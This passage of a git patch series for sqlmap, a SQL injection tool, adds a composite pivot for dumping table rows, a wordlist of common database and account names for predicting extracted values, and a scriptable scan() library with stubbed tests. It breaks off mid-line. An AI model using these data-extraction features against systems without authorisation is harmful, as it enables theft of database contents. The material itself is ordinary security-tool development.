+dd30ef67da30b666c53013ee32253cd9396ed0e5d0a44d509680742e06ebcd23 lib/utils/pivotdumptable.py c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855 lib/utils/prove.py 2cd84db16edef8c9948e197a51d870cf1c338f4a89037b4d422de990f4a45237 lib/utils/purge.py diff --git a/lib/core/settings.py b/lib/core/settings.py index a6bf3aac6..23551d478 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.10" +VERSION = "1.10.7.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index b1a10adf2..96a30d58c 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -45,6 +45,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): validColumnList = False validPivotValue = False + compositePivot = None if count is None: query = dumpNode.count % table @@ -118,6 +119,26 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): errMsg = "all provided column name(s) are non-existent" raise SqlmapNoneDataException(errMsg) + if not validPivotValue: + # No single column holds all-distinct values. Fall back to a COMPOSITE pivot (a + # concatenation of every column) whose combined value is unique per row, so rows sharing + # a value in every individual column are no longer silently dropped (ref: #1545). + _composite = agent.concatQuery(','.join(colList)) + query = dumpNode.count2 % (_composite, table) + query = agent.whereQuery(query) + value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if isNumPosStrValue(value) and int(value) == count: + infoMsg = "using a concatenation of all columns as a " + infoMsg += "composite pivot for retrieving row data" + logger.info(infoMsg) + + compositePivot = _composite + lengths[compositePivot] = 0 + entries[compositePivot] = BigArray() + colList.insert(0, compositePivot) + validPivotValue = True + if not validPivotValue: warnMsg = "no proper pivot column provided (with unique values)." warnMsg += " It won't be possible to retrieve all rows" @@ -186,4 +207,9 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): logger.critical(errMsg) + # The composite pivot is a synthetic paging key, not a real column - drop it from the output + if compositePivot is not None: + entries.pop(compositePivot, None) + lengths.pop(compositePivot, None) + return entries, lengths From e1126a2a4e3674f24094d92e04f6019423684ef4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 01:12:06 +0200 Subject: [PATCH 12/34] Improving --predict-output --- data/txt/common-outputs.txt | 110 ++++++++++++++++++++++++++++++++++++ data/txt/sha256sums.txt | 6 +- lib/core/common.py | 11 ++++ lib/core/settings.py | 2 +- 4 files changed, 125 insertions(+), 4 deletions(-) diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt index 1df3cd36f..5df11be3d 100644 --- a/data/txt/common-outputs.txt +++ b/data/txt/common-outputs.txt @@ -1364,3 +1364,113 @@ username visible zip zip_code + +# --- real-world application / CMS / framework values (repeated section headers are merged on load) --- +[Databases] +wordpress +wp +drupal +joomla +magento +prestashop +opencart +moodle +mediawiki +phpbb +typo3 +laravel +symfony +django +app +application +webapp +web +website +main +backend +api +cms +shop +store +ecommerce +blog +forum +wiki +crm +erp +billing +sales +accounts +inventory +catalog +orders +payments +customers +members +users +data +db +mydb +appdb +prod +production +dev +staging +qa +demo +sample +employees +sakila +world +classicmodels +dvwa +bwapp +mutillidae +dashboard +defaultdb + +[Users] +admin +administrator +root +sa +postgres +oracle +system +dbadmin +dba +dbo +webadmin +web +www +www-data +apache +nginx +app +appuser +application +service +svc +user +dbuser +guest +test +demo +backup +replication +monitor +readonly +superuser +wordpress +drupal +joomla +magento +laravel +django +symfony +'admin'@'localhost' +'admin'@'%' +'app'@'localhost' +'app'@'%' +'web'@'%' +'wordpress'@'localhost' diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ecb08f953..593e34401 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -25,7 +25,7 @@ c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b data/shell/sta af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac data/shell/stagers/stager.php_ eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt 63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt -852b420157bbffb56947e4b201a7df5242e75443ab161049a50235eb4e8e9aae data/txt/common-outputs.txt +4d6a32155dd6b570e5cdae8036efd69d8f8ebab79cb82a4d094c15f35af8b13d data/txt/common-outputs.txt 44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt 522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -f73bbb05c1cfd642e8f556f3047f8418bed07b06f555d445b6f14c03c105b87a lib/core/common.py +e6866a8a8870c345334296e9533042719d32219127fafdda481566b119c3a50d lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -db578cf03ccdb67a0930ebaba6bc8aa1b777e0a09e3cc7d14fef47c5e47f3f5f lib/core/settings.py +906d17d317ef11f67d52b30cf6bbcfd67c3af35af0942f697a13c55d9aa89816 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index ff205d560..e23288d44 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2624,6 +2624,17 @@ def initCommonOutputs(): if line not in kb.commonOutputs[key]: kb.commonOutputs[key].add(line) + # The curated '--common-tables'/'--common-columns' brute-force wordlists are far larger and much + # more app-focused than the built-in [Tables]/[Columns] prediction sections (which are mostly + # system objects), so fold them into the good-samaritan prediction to raise its real-world hit rate. + # The mechanism only reorders the charset, so extra coverage never penalizes a miss. + for _key, _path in (("Tables", paths.COMMON_TABLES), ("Columns", paths.COMMON_COLUMNS)): + try: + for _ in getFileItems(_path): + kb.commonOutputs.setdefault(_key, set()).add(_) + except SqlmapSystemException: + pass + def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False): """ Returns newline delimited items contained inside file diff --git a/lib/core/settings.py b/lib/core/settings.py index 23551d478..a74f5dc22 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.11" +VERSION = "1.10.7.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d2ead9dcdabdb1b8339281ef3ec6775ac73fd6f4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 09:58:48 +0200 Subject: [PATCH 13/34] Adding support for import sqlmap as a library (#2083) --- data/txt/sha256sums.txt | 6 +- lib/core/settings.py | 2 +- lib/utils/library.py | 190 ++++++++++++++++++++++++++++++++++++++++ sqlmap.py | 6 ++ tests/test_library.py | 111 +++++++++++++++++++++++ 5 files changed, 312 insertions(+), 3 deletions(-) create mode 100644 lib/utils/library.py create mode 100644 tests/test_library.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 593e34401..2dacf0e8a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -906d17d317ef11f67d52b30cf6bbcfd67c3af35af0942f697a13c55d9aa89816 lib/core/settings.py +1d609263088c5767b4f92ead270f84cd218d9602007b75b3fd45c1169f183265 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -266,6 +266,7 @@ bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dial 71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666 lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py 1bbf57e43f921d4132e6e5a336ff39454a9506b36de94ebcc45879d0abcac56a lib/utils/keysetdump.py +b57aa20b7a6fd8afd07bae773fd03f8acb05655ee605362b220e65a0664dc38d lib/utils/library.py dd30ef67da30b666c53013ee32253cd9396ed0e5d0a44d509680742e06ebcd23 lib/utils/pivotdumptable.py c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855 lib/utils/prove.py @@ -509,7 +510,7 @@ cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generi 46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml 627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf -d375c77f1f4270ec0967e67963fe410f14b5d2e51ed6483593dc1aaa4e8e106e sqlmap.py +80d66407453d34d672c389f6d9ab059d925528615429f2e6e9f286ce03d2c5d6 sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py @@ -626,6 +627,7 @@ b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_htt d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py 0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py +7780bbd53f4ef48b01b689f3989c62822ee7f326dfc3b4110522c9af93a61482 tests/test_library.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py diff --git a/lib/core/settings.py b/lib/core/settings.py index a74f5dc22..2fec00cfd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.12" +VERSION = "1.10.7.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/library.py b/lib/utils/library.py new file mode 100644 index 000000000..c30cdeff3 --- /dev/null +++ b/lib/utils/library.py @@ -0,0 +1,190 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Library facade for programmatic (in-code) usage: 'import sqlmap; sqlmap.scan(...)'. +# +# This is the code-level sibling of the REST API (lib/utils/api.py): both drive the engine as an +# isolated subprocess for programmatic callers. The public names here are re-exported by sqlmap.py so +# that they are reachable as 'sqlmap.scan', 'sqlmap.scanFromRequest' and 'sqlmap.SqlmapError'. + +import json +import os +import sys +import tempfile + +__all__ = ["scan", "scanFromRequest", "SqlmapError"] + +# Absolute path of the engine entry point (this module lives at /lib/utils/library.py) +SQLMAP_FILE = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), "sqlmap.py") + +class SqlmapError(Exception): + """ + Raised by the library facade (scan/scanFromRequest) when a scan can not produce a result report + """ + + pass + +def _terminateProcess(process): + """ + Best-effort hard teardown of a scan subprocess together with its whole process group, so a + timed-out scan never leaves orphaned sqlmap workers behind (POSIX kills the group, others fall + back to killing the process itself) + """ + + import signal + + try: + if os.name != "nt" and hasattr(os, "killpg"): + os.killpg(os.getpgid(process.pid), getattr(signal, "SIGKILL", signal.SIGTERM)) + else: + process.kill() + except (OSError, AttributeError): + try: + process.kill() + except (OSError, AttributeError): + pass + +def scan(url=None, requestFile=None, timeout=None, outputDir=None, raw=None, **options): + """ + Runs a sqlmap scan in a dedicated subprocess and returns its structured result (library usage). + + Keyword options are plain sqlmap option names - exactly the names used in a sqlmap configuration + file (data/sqlmap.conf) and by the REST API, i.e. the 'conf' names, NOT command line switches. So + scan(url, technique="BEU", getBanner=True, dumpTable=True, tbl="users", level=3) is equivalent to + the config file lines 'technique = BEU', 'getBanner = True', 'dumpTable = True', 'tbl = users', + 'level = 3'. Unknown names are rejected. The scan is driven through a generated config file passed + with '-c' (the same mechanism the REST API uses), so there is a single option namespace and no + argument escaping. 'raw' takes a list of extra raw command line switches for the rare thing not + expressible as a config option (e.g. raw=["--fresh-queries"]). + + The engine runs fully out-of-process, so a scan can never affect the calling process (no shared + global state, no HTTP-stack patching, no risk of the host being exited). The return value is the + parsed '--report-json' report - the same structure as the REST API '/scan//data' response: a + dict with keys 'success', 'data' (a list of {'type_name', 'value'} entries: TARGET, TECHNIQUES, + BANNER, DUMP_TABLE, ...), 'error' and 'meta'. + + scan() is blocking and thread-safe, so it is both thread- and asyncio-ready: run several at once + in threads, or from an event loop with 'await loop.run_in_executor(None, functools.partial(scan, + url, dumpTable=True))'. For unattended/concurrent use the run is hardened like the REST API + subprocess: batch mode (never prompts) with stdin closed, isolated file descriptors, its own + output directory (so parallel scans of the same target can not collide on session/dump files and + nothing accumulates on disk), engine output streamed to a temporary file rather than buffered in + memory, and - when 'timeout' is set - the whole subprocess group is torn down on expiry. Pass + 'outputDir' to keep the run's files. + + Example: + import sqlmap + result = sqlmap.scan("http://target/vuln.php?id=1", dumpTable=True, tbl="users") + """ + + import shutil + import subprocess + import time + + from lib.core.common import saveConfig + from lib.core.optiondict import optDict + + if not (url or requestFile): + raise SqlmapError("scan() requires either 'url' or 'requestFile'") + + if not os.path.isfile(SQLMAP_FILE): + raise SqlmapError("could not locate the sqlmap engine ('%s')" % SQLMAP_FILE) + + knownOptions = set() + for family in optDict.values(): + knownOptions.update(family) + + config = {} + if url: + config["url"] = url + if requestFile: + config["requestFile"] = requestFile + config.update(options) + + unknown = [_ for _ in config if _ not in knownOptions] + if unknown: + raise SqlmapError("unknown option(s) %s - scan() expects sqlmap option names as used in a configuration file (e.g. getBanner, dumpTable, tbl, technique, level), not command line switches" % ", ".join(repr(_) for _ in sorted(unknown))) + + handle, report = tempfile.mkstemp(prefix="sqlmap-", suffix=".json") + os.close(handle) + + # Each run gets its own output directory so concurrent scans can not collide on session/dump files + # and no scan state piles up on disk. A caller-provided 'outputDir' is respected and left in place. + ownOutput = not outputDir + if ownOutput: + outputDir = tempfile.mkdtemp(prefix="sqlmap-output-") + + # engine plumbing goes through the very same option namespace + config["batch"] = True + config["disableColoring"] = True + config["outputDir"] = outputDir + config["reportJson"] = report + + handle, configFile = tempfile.mkstemp(prefix="sqlmap-", suffix=".conf") + os.close(handle) + saveConfig(config, configFile) + + argv = [sys.executable or "python", SQLMAP_FILE, "-c", configFile, "--ignore-stdin"] + if raw: + argv += list(raw) + + logHandle, logFile = tempfile.mkstemp(prefix="sqlmap-", suffix=".log") + devnull = open(os.devnull, "rb") + + kwargs = {"shell": False, "close_fds": os.name != "nt", "cwd": os.path.dirname(SQLMAP_FILE) or '.', "stdin": devnull, "stdout": logHandle, "stderr": subprocess.STDOUT} + if os.name == "nt": + kwargs["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0) + elif sys.version_info >= (3, 2): + kwargs["start_new_session"] = True # own process group -> clean group teardown + else: + kwargs["preexec_fn"] = os.setsid + + process = None + try: + process = subprocess.Popen(argv, **kwargs) + + if timeout is None: + process.wait() + else: + end = time.time() + timeout + while process.poll() is None: + if time.time() > end: + _terminateProcess(process) + process.wait() + raise SqlmapError("scan timed out after %s second(s)" % timeout) + time.sleep(0.5) + + try: + with open(report, "rb") as f: + return json.loads(f.read().decode("utf-8", "replace")) + except (IOError, OSError, ValueError): + try: + with open(logFile, "rb") as f: + tail = f.read().decode("utf-8", "replace").strip() + except (IOError, OSError): + tail = "" + raise SqlmapError("scan did not produce a valid report (exit code %s)\n%s" % (getattr(process, "returncode", None), tail[-1000:])) + finally: + try: + os.close(logHandle) + except OSError: + pass + devnull.close() + for path in (report, logFile, configFile): + try: + os.remove(path) + except OSError: + pass + if ownOutput: + shutil.rmtree(outputDir, ignore_errors=True) + +def scanFromRequest(requestFile, **options): + """ + Convenience wrapper for scan(requestFile=...) - runs a scan from a saved HTTP request file ('-r') + """ + + return scan(requestFile=requestFile, **options) diff --git a/sqlmap.py b/sqlmap.py index 59c7e8510..77a67d017 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -664,3 +664,9 @@ if __name__ == "__main__": else: # cancelling postponed imports (because of CI/CD checks) __import__("lib.controller.controller") + + # exposing the programmatic library facade as 'sqlmap.scan()' / 'sqlmap.scanFromRequest()' + from lib.utils.library import scan, scanFromRequest, SqlmapError + +# public library API (also marks the re-exported names above as intentional for pyflakes) +__all__ = ["scan", "scanFromRequest", "SqlmapError"] diff --git a/tests/test_library.py b/tests/test_library.py new file mode 100644 index 000000000..254925c63 --- /dev/null +++ b/tests/test_library.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the library facade (import sqlmap; sqlmap.scan(...)). + +The facade drives the engine out-of-process through a generated configuration file (the same '-c' +mechanism the REST API uses) and reads back a '--report-json' report. These tests stub +subprocess.Popen to (a) capture the argv/config sqlmap.scan() builds from its keyword options and +(b) feed back a canned report - keeping the test fast, offline and network-free (no real scan runs). + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import json +import os +import re +import subprocess +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import sqlmap + + +class _FakePopen(object): + """Stub that records argv/config and writes a canned report to the config's 'reportJson' path.""" + + captured = {} + returncode = 0 + + def __init__(self, argv, **kwargs): + _FakePopen.captured["argv"] = argv + _FakePopen.captured["kwargs"] = kwargs + with open(argv[argv.index("-c") + 1]) as f: + config = f.read() + _FakePopen.captured["config"] = config + report = re.search(r"(?im)^reportjson\s*=\s*(.+)$", config).group(1).strip() + with open(report, "w") as f: + json.dump({"success": True, "data": [{"type_name": "BANNER", "value": "3.45.1"}], "error": []}, f) + + def wait(self, timeout=None): + return 0 + + def poll(self): + return 0 + + def kill(self): + pass + + +class TestLibraryFacade(unittest.TestCase): + def setUp(self): + self._realPopen = subprocess.Popen + subprocess.Popen = _FakePopen + _FakePopen.captured = {} + + def tearDown(self): + subprocess.Popen = self._realPopen + + def test_requires_a_target(self): + subprocess.Popen = self._realPopen # never reached; guard fires first + self.assertRaises(sqlmap.SqlmapError, sqlmap.scan) + + def test_rejects_unknown_option(self): + # a command line switch spelling (rather than a conf option name) must be rejected loudly + self.assertRaises(sqlmap.SqlmapError, sqlmap.scan, "http://target/?id=1", current_user=True) + + def test_options_go_through_config(self): + result = sqlmap.scan("http://target/vuln.php?id=1", technique="BEU", dumpTable=True, + tbl="users", level=3, getBanner=True, raw=["--fresh-queries"]) + argv = _FakePopen.captured["argv"] + config = _FakePopen.captured["config"] + # driven via a generated config file, stdin ignored, engine plumbing set - no arg escaping + self.assertIn("-c", argv) + self.assertIn("--ignore-stdin", argv) + self.assertIn("--fresh-queries", argv) # raw escape hatch stays on the CLI + # options land in the config using sqlmap's own (conf) names (ConfigParser lowercases keys) + self.assertTrue(re.search(r"(?im)^url\s*=\s*http://target/vuln.php\?id=1$", config)) + self.assertTrue(re.search(r"(?im)^technique\s*=\s*BEU$", config)) + self.assertTrue(re.search(r"(?im)^tbl\s*=\s*users$", config)) + self.assertTrue(re.search(r"(?im)^level\s*=\s*3$", config)) + self.assertTrue(re.search(r"(?im)^dumptable\s*=\s*True$", config)) + self.assertTrue(re.search(r"(?im)^getbanner\s*=\s*True$", config)) + self.assertTrue(re.search(r"(?im)^batch\s*=\s*True$", config)) + self.assertTrue(re.search(r"(?im)^outputdir\s*=", config)) # each run isolated on disk + # file descriptors are not leaked to the engine (matches the REST API subprocess) + self.assertFalse(_FakePopen.captured["kwargs"].get("close_fds") and os.name == "nt") + # canned report is returned verbatim + self.assertTrue(result["success"]) + self.assertEqual(result["data"][0]["value"], "3.45.1") + + def test_scan_from_request_uses_request_file(self): + sqlmap.scanFromRequest("/tmp/req.txt", technique="U") + config = _FakePopen.captured["config"] + self.assertTrue(re.search(r"(?im)^requestfile\s*=\s*/tmp/req.txt$", config)) + self.assertTrue(re.search(r"(?im)^technique\s*=\s*U$", config)) + + def test_missing_report_raises(self): + class _NoReportPopen(_FakePopen): + def __init__(self, argv, **kwargs): + _FakePopen.captured["argv"] = argv # write nothing -> no report file + subprocess.Popen = _NoReportPopen + self.assertRaises(sqlmap.SqlmapError, sqlmap.scan, "http://target/?id=1") + + +if __name__ == "__main__": + unittest.main(verbosity=2) From 47b8b6ed0722957760ed76c7e3dee18098f7c0b4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 10:18:58 +0200 Subject: [PATCH 14/34] Minor update --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- lib/utils/api.py | 22 ++++++++++++++++++++++ tests/test_library.py | 22 ++++++++++++++++++++++ 4 files changed, 48 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 2dacf0e8a..e1d4174ac 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -1d609263088c5767b4f92ead270f84cd218d9602007b75b3fd45c1169f183265 lib/core/settings.py +2c37b4a614c1d64facc5cf9d22b423316722a41768f57d9c2913dc23d30a7b21 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -254,7 +254,7 @@ f6678ac1342f8d234ed32ae69be5ac5d7837393e9348929ec029c9764c030e82 lib/techniques c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques/union/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py -aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py +c5850075861bd5f172e191a0e48dd1d636d7c6af53bb471a44d56e7cef4e79c5 lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py 51deedec3d3e869b067824caa51406d2ef396c188f82013ca60777006a821e27 lib/utils/deps.py @@ -627,7 +627,7 @@ b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_htt d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py 0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py -7780bbd53f4ef48b01b689f3989c62822ee7f326dfc3b4110522c9af93a61482 tests/test_library.py +4952caf2cc825b5ed96a032e0a88e6919b7556e736bd8e30a558f6c4f82c014a tests/test_library.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 2fec00cfd..2d7b6e045 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.13" +VERSION = "1.10.7.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/api.py b/lib/utils/api.py index 90d0c0b9e..7b5f39f43 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -253,6 +253,12 @@ def setupReportCollector(): collector = Database(":memory:") collector.connect("report") collector.init() + + # record error/critical log messages into the collector so that a CLI --report-json report carries + # the same 'error' content the REST API exposes via /scan//data - letting consumers tell a + # failed/unreachable run apart from a clean "nothing found" one (both otherwise have empty 'data') + logger.addHandler(ReportErrorRecorder(collector)) + return collector def writeReportJson(collector, filepath): @@ -449,6 +455,22 @@ class LogRecorder(logging.StreamHandler): """ conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, str(record.msg % record.args if record.args else record.msg))) +class ReportErrorRecorder(logging.Handler): + def __init__(self, collector): + """ + Records error/critical log messages into a report collector's 'errors' table (the counterpart + of StdDbOut's stderr branch for CLI --report-json runs) + """ + logging.Handler.__init__(self) + self.setLevel(logging.ERROR) + self.collector = collector + + def emit(self, record): + try: + self.collector.execute("INSERT INTO errors VALUES(NULL, ?, ?)", 